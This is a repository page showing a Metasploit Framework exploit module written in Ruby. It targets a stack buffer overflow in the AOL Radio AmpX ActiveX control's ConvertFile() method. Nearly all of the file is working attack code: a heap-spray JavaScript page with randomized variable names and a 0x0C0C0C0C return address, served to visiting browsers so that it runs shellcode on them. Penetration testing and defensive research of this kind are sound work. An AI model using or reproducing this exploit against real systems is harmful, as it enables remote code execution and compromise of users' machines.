Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / aol_ampx_convertfile.rb @ master

History | View | Annotate | Download (4.1 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = NormalRanking
16

    
17
        include Msf::Exploit::Remote::HttpServer::HTML
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX
24
                                class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
25
                                By setting an overly long value to 'ConvertFile()', an attacker can overrun
26
                                a buffer and execute arbitrary code.
27
                        },
28
                        'License'        => MSF_LICENSE,
29
                        'Author'         =>
30
                                [
31
                                        'rgod <rgod[at]autistici.org>',                # Original exploit [see References]
32
                                        'Trancer <mtrancer[at]gmail.com>'        # Metasploit implementation
33
                                ],
34
                        'Version'        => '$Revision$',
35
                        'References'     =>
36
                                [
37
                                        [ 'OSVDB', '54706' ],
38
                                        [ 'BID', '35028' ],
39
                                        [ 'URL', 'http://www.milw0rm.com/exploits/8733' ],
40
                                ],
41
                        'DefaultOptions' =>
42
                                {
43
                                        'EXITFUNC' => 'process',
44
                                },
45
                        'Payload'        =>
46
                                {
47
                                        'Space'         => 1024,
48
                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",
49
                                        'StackAdjustment' => -3500,
50
                                },
51
                        'Platform'       => 'win',
52
                        'Targets'        =>
53
                                [
54
                                        [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]
55
                                ],
56
                        'DisclosureDate' => 'May 19 2009',
57
                        'DefaultTarget'  => 0))
58
        end
59

    
60
        def autofilter
61
                false
62
        end
63

    
64
        def check_dependencies
65
                use_zlib
66
        end
67

    
68
        def on_request_uri(cli, request)
69
                # Re-generate the payload
70
                return if ((p = regenerate_payload(cli)) == nil)
71

    
72
                # Encode the shellcode
73
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
74

    
75
                # Setup exploit buffers
76
                nops           = Rex::Text.to_unescape([target.ret].pack('V'))
77
                ret            = Rex::Text.uri_encode([target.ret].pack('L'))
78
                blocksize = 0x40000
79
                fillto    = 500
80
                offset           = target['Offset']
81

    
82
                # Randomize the javascript variable names
83
                ampx             = rand_text_alpha(rand(100) + 1)
84
                j_shellcode  = rand_text_alpha(rand(100) + 1)
85
                j_nops       = rand_text_alpha(rand(100) + 1)
86
                j_headersize = rand_text_alpha(rand(100) + 1)
87
                j_slackspace = rand_text_alpha(rand(100) + 1)
88
                j_fillblock  = rand_text_alpha(rand(100) + 1)
89
                j_block      = rand_text_alpha(rand(100) + 1)
90
                j_memory     = rand_text_alpha(rand(100) + 1)
91
                j_counter    = rand_text_alpha(rand(30) + 2)
92
                j_ret        = rand_text_alpha(rand(100) + 1)
93
                j_eax        = rand_text_alpha(rand(100) + 1)
94
                j_bof        = rand_text_alpha(rand(100) + 1)
95

    
96
                # Build out the message
97
                content = %Q|
98
<html>
99
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
100
<script language='javascript'>
101
        #{j_shellcode}=unescape('#{shellcode}');
102
        #{j_nops}=unescape('#{nops}');
103
        #{j_headersize}=20;
104
        #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
105
        while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
106
        #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
107
        #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
108
        while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
109
        #{j_memory}=new Array();
110
        for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
111
        #{j_eax}='';
112
        for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');
113
        #{j_ret}='';
114
        for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
115
        #{j_bof}=#{j_eax}+#{j_ret};
116
        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
117
        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
118
        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
119
        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
120
</script>
121
</html>
122
                        |
123

    
124
                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
125

    
126
                # Transmit the response to the client
127
                send_response_html(cli, content)
128

    
129
                # Handle the payload
130
                handler(cli)
131
        end
132

    
133
end